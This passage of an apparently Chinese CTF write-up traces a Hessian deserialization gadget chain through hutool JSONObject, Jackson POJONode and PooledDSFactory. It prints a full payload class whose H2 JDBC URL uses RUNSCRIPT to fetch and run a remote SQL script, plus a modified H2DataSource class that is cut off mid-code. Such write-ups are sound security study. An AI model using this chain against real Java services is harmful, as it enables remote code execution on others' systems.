class_">MapDeserializer</span>(HashMap.class);  </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>进入了这边， this.getDeserializer(type)获取了类型的反序列化<br>也就是获取了<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331123918.png"><br>当类型<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331123955.png"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">readMap</span><span class="params">(AbstractHessianInput in, Class&lt;?&gt; expectKeyType, Class&lt;?&gt; expectValueType)</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    Object map;  </span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span>._type == <span class="literal">null</span>) &#123;  </span><br><span class="line">        map = <span class="keyword">new</span> <span class="title class_">HashMap</span>();  </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">this</span>._type.equals(Map.class)) &#123;  </span><br><span class="line">        map = <span class="keyword">new</span> <span class="title class_">HashMap</span>();  </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">this</span>._type.equals(SortedMap.class)) &#123;  </span><br><span class="line">        map = <span class="keyword">new</span> <span class="title class_">TreeMap</span>();  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            map = (Map)<span class="built_in">this</span>._ctor.newInstance();  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var6) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOExceptionWrapper</span>(var6);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    in.addRef(map);  </span><br><span class="line">    <span class="built_in">this</span>.doReadMap(in, (Map)map, expectKeyType, expectValueType);  </span><br><span class="line">    in.readEnd();  </span><br><span class="line">    <span class="keyword">return</span> map</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>这样就能newInstance了<br>在newInstance后调用了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">this</span>.doReadMap(in, (Map)map, expectKeyType, expectValueType);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331124331.png"><br>in.isEnd()将buffer读取到了<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331124452.png"><br>也就是读完类名的值，也就是8，8也就是我们key的长度，再次反序列化，将offset的值就到<br>value反序列化开始的地方<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331124553.png"><br>获取到我们输入的key<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331124847.png"><br>再次反序列化获取我们的value，就是走正常反序列化了<br>JSONObject调用put<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331125117.png"><br>然后JSONObject调用set<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331125143.png"><br>到最后调用到这个</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> JSONObject <span class="title function_">set</span><span class="params">(String key, Object value, Filter&lt;MutablePair&lt;String, Object&gt;&gt; filter, <span class="type">boolean</span> checkDuplicate)</span> <span class="keyword">throws</span> JSONException &#123;  </span><br><span class="line">    <span class="keyword">if</span> (<span class="literal">null</span> == key) &#123;  </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>;  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (<span class="literal">null</span> != filter) &#123;  </span><br><span class="line">            MutablePair&lt;String, Object&gt; pair = <span class="keyword">new</span> <span class="title class_">MutablePair</span>(key, value);  </span><br><span class="line">            <span class="keyword">if</span> (!filter.accept(pair)) &#123;  </span><br><span class="line">                <span class="keyword">return</span> <span class="built_in">this</span>;  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">            key = (String)pair.getKey();  </span><br><span class="line">            value = pair.getValue();  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">boolean</span> <span class="variable">ignoreNullValue</span> <span class="operator">=</span> <span class="built_in">this</span>.config.isIgnoreNullValue();  </span><br><span class="line">        <span class="keyword">if</span> (ObjectUtil.isNull(value) &amp;&amp; ignoreNullValue) &#123;  </span><br><span class="line">            <span class="built_in">this</span>.remove(key);  </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            <span class="keyword">if</span> (checkDuplicate &amp;&amp; <span class="built_in">this</span>.containsKey(key)) &#123;  </span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">JSONException</span>(<span class="string">&quot;Duplicate key \&quot;&#123;&#125;\&quot;&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;key&#125;);  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">            <span class="built_in">super</span>.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), <span class="built_in">this</span>.config));  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331125344.png"><br>调用了Object的toString也就是，<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331125527.png"><br>调用他的get函数<br>返回值也就是POJONode<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331125600.png"><br>String.ValueOf也就调用了value的toString<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331125634.png"><br>所以我们的思路就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();  </span><br><span class="line"><span class="type">Hessian2Output</span> <span class="variable">hessian2Output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Output</span>(byteArrayOutputStream);  </span><br><span class="line">  </span><br><span class="line">hessian2Output.writeMapBegin(JSONObject.class.getName());  </span><br><span class="line">hessian2Output.writeObject(<span class="string">&quot;whatever&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">POJONode</span> <span class="variable">pojoNode</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(bean);  </span><br><span class="line">  </span><br><span class="line"><span class="type">Object</span> <span class="variable">object</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;(pojoNode);</span><br><span class="line">hessian2Output.writeObject(object);  </span><br><span class="line">hessian2Output.writeMapEnd();  </span><br><span class="line">hessian2Output.close();</span><br></pre></td></tr></table></figure><p>这样就能触发pojonode<br>所以payload就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.aliyunctf.agent;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.map.SafeConcurrentHashMap;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.pooled.PooledDSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.json.JSONObject;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.setting.Setting;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.com.caucho.hessian.io.Hessian2Input;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.com.caucho.hessian.io.Hessian2Output;</span><br><span class="line"><span class="keyword">import</span> com.aliyunctf.agent.other.Bean;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.node.POJONode;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.serial.SerialTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.unsafe.UnSafeTools;</span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.atomic.AtomicReference;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"><span class="comment">//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">connectionUrl</span> <span class="operator">=</span> <span class="string">&quot;jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#x27;http://127.0.0.1:8001/poc.sql&#x27;&quot;</span>;</span><br><span class="line">        <span class="type">Setting</span> <span class="variable">setting</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Setting</span>();</span><br><span class="line">        setting.setCharset(<span class="literal">null</span>);</span><br><span class="line">        setting.set(<span class="string">&quot;url&quot;</span>,connectionUrl);</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> UnSafeTools.getUnsafe();</span><br><span class="line">        <span class="type">PooledDSFactory</span> <span class="variable">pooledDSFactory</span> <span class="operator">=</span> (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);</span><br><span class="line">        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;setting&quot;</span>),setting);</span><br><span class="line">        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;dsMap&quot;</span>),<span class="keyword">new</span> <span class="title class_">SafeConcurrentHashMap</span>&lt;&gt;());</span><br><span class="line">        <span class="type">Bean</span> <span class="variable">bean</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Bean</span>();</span><br><span class="line">        UnSafeTools.setObject(bean,Bean.class.getDeclaredField(<span class="string">&quot;data&quot;</span>), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">Hessian2Output</span> <span class="variable">hessian2Output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Output</span>(byteArrayOutputStream);</span><br><span class="line">        hessian2Output.writeMapBegin(JSONObject.class.getName());</span><br><span class="line">        hessian2Output.writeObject(<span class="string">&quot;whatever&quot;</span>);</span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">pojoNode</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(bean);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">object</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;(pojoNode);</span><br><span class="line">        hessian2Output.writeObject(object);</span><br><span class="line">        hessian2Output.writeMapEnd();</span><br><span class="line">        hessian2Output.close();</span><br><span class="line">        </span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(byteArrayOutputStream.toByteArray());</span><br><span class="line">        <span class="type">Hessian2Input</span> <span class="variable">hessian2Input</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Input</span>((InputStream)byteArrayInputStream);</span><br><span class="line">        hessian2Input.readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>但是为什么jackson的toString触发getObject后，就能再次触发PooledDSFactory的getter<br>BeanSerializerBase#serializeFields<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410214252.png"><br>在这边看到了BeanPropertyWriter#serializeAsField</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> <span class="built_in">this</span>._accessorMethod == <span class="literal">null</span> ? <span class="built_in">this</span>._field.get(bean) : <span class="built_in">this</span>._accessorMethod.invoke(bean, (Object[])<span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">if</span> (value == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>._suppressableValue == <span class="literal">null</span> || !prov.includeFilterSuppressNulls(<span class="built_in">this</span>._suppressableValue)) &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="built_in">this</span>._nullSerializer != <span class="literal">null</span>) &#123;</span><br><span class="line">                    gen.writeFieldName(<span class="built_in">this</span>._name);</span><br><span class="line">                    <span class="built_in">this</span>._nullSerializer.serialize((Object)<span class="literal">null</span>, gen, prov);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            JsonSerializer&lt;Object&gt; ser = <span class="built_in">this</span>._serializer;</span><br><span class="line">            <span class="keyword">if</span> (ser == <span class="literal">null</span>) &#123;</span><br><span class="line">                Class&lt;?&gt; cls = value.getClass();</span><br><span class="line">                <span class="type">PropertySerializerMap</span> <span class="variable">m</span> <span class="operator">=</span> <span class="built_in">this</span>._dynamicSerializers;</span><br><span class="line">                ser = m.serializerFor(cls);</span><br><span class="line">                <span class="keyword">if</span> (ser == <span class="literal">null</span>) &#123;</span><br><span class="line">                    ser = <span class="built_in">this</span>._findAndAddDynamic(m, cls, prov);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>._suppressableValue != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">if</span> (MARKER_FOR_EMPTY == <span class="built_in">this</span>._suppressableValue) &#123;</span><br><span class="line">                    <span class="keyword">if</span> (ser.isEmpty(prov, value)) &#123;</span><br><span class="line">                        <span class="keyword">return</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">this</span>._suppressableValue.equals(value)) &#123;</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (value != bean || !<span class="built_in">this</span>._handleSelfReference(bean, gen, prov, ser)) &#123;</span><br><span class="line">                gen.writeFieldName(<span class="built_in">this</span>._name);</span><br><span class="line">                <span class="keyword">if</span> (<span class="built_in">this</span>._typeSerializer == <span class="literal">null</span>) &#123;</span><br><span class="line">                    ser.serialize(value, gen, prov);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    ser.serializeWithType(value, gen, prov, <span class="built_in">this</span>._typeSerializer);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><p>当获取值后，对value再次进行序列化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> <span class="built_in">this</span>._accessorMethod == <span class="literal">null</span> ? <span class="built_in">this</span>._field.get(bean) : <span class="built_in">this</span>._accessorMethod.invoke(bean, (Object[])<span class="literal">null</span>);</span><br><span class="line"><span class="comment">//这边就是getter后的值</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410214328.png"><br>也就是调用getObject后获取的值<br>然后对他获取的值再次进行序列化也就再次走到了这<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410214811.png"><br>也就是调用了PooledDSFactory的getConnection</p><p>我们之前上面找的JdbcDataSource有问题，我修改了什么地方让他成功呢<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410224612.png"><br>问题就在<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410224727.png"><br>有debug问题，fastjson的序列化问题是<br>Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory<br>这样导致trace设置不了，debugCodeCall会进行判断，导致无法执行connect<br>所以我们使用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">H2DataSource</span> <span class="variable">jdbcDataSource</span> <span class="operator">=</span> (H2DataSource) unsafe.allocateInstance(H2DataSource.class);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>unsafe.allocateInstance实例化这样不会带不可序列化的数据，我们set即可<br>我重写的类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by FernFlower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.aliyunctf.agent;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.PrintWriter;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"><span class="keyword">import</span> java.util.logging.Logger;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Referenceable;</span><br><span class="line"><span class="keyword">import</span> javax.naming.StringRefAddr;</span><br><span class="line"><span class="keyword">import</span> javax.sql.ConnectionPoolDataSource;</span><br><span class="line"><span class="keyword">import</span> javax.sql.DataSource;</span><br><span class="line"><span class="keyword">import</span> javax.sql.PooledConnection;</span><br><span class="line"><span class="keyword">import</span> javax.sql.XAConnection;</span><br><span class="line"><span class="keyword">import</span> javax.sql.XADataSource;</span><br><span class="line"><span class="keyword">import</span> org.h2.jdbc.JdbcConnection;</span><br><span class="line"><span class="keyword">import</span> org.h2.jdbcx.JdbcDataSourceBackwardsCompat;</span><br><span class="line"><span class="keyword">import</span> org.h2.jdbcx.JdbcDataSourceFactory;</span><br><span class="line"><span class="keyword">import</span> org.h2.jdbcx.JdbcXAConnection;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.DbException;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.Trace;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.TraceObject;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.TraceSystem;</span><br><span class="line"><span class="keyword">import</span> org.h2.util.StringUtils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">H2DataSource</span> <span class="keyword">extends</span> <span class="title class_">TraceObject</span> <span class="keyword">implements</span> <span class="title class_">XADataSource</span>, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">1288136338451857771L</span>;</span><br><span class="line">    <span class="keyword">private</span>  JdbcDataSourceFactory factory;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> PrintWriter logWriter;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> loginTimeout;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">userName</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">char</span>[] passwordChars = <span class="keyword">new</span> <span class="title class_">char</span>[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> String description;</span><br><span class="line">    <span class="keyword">private</span> Trace trace;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Trace <span class="title function_">getTrace</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> trace;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span 